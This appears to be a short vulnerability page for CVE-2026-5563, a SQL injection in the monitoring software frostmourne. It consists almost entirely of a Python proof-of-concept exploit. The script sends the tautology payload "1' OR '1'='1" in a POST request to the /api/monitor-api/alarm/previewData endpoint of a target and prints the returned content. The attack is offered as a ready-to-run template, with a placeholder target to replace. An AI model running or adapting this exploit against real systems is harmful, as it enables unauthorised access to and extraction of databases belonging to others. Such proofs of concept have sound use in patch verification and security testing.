CVE-2026-5563 frostmourne SQL注入漏洞

import requests def exploit_sqli(target_url): """ PoC for CVE-2026-5563 SQL Injection in frostmourne. Target endpoint: /api/monitor-api/alarm/previewData """ url = f"{target_url}/api/monitor-api/alarm/previewData" # Basic payload to test for SQL injection vulnerability payload = { "id": "1' OR '1'='1", # Example injection payload "other_param": "value" } try: response = requests.post(url, data=payload, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Check response for SQL output.") print(f"[+] Response Content: {response.text[:200]}") else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "http://127.0.0.1:8080" # Replace with actual target exploit_sqli(target)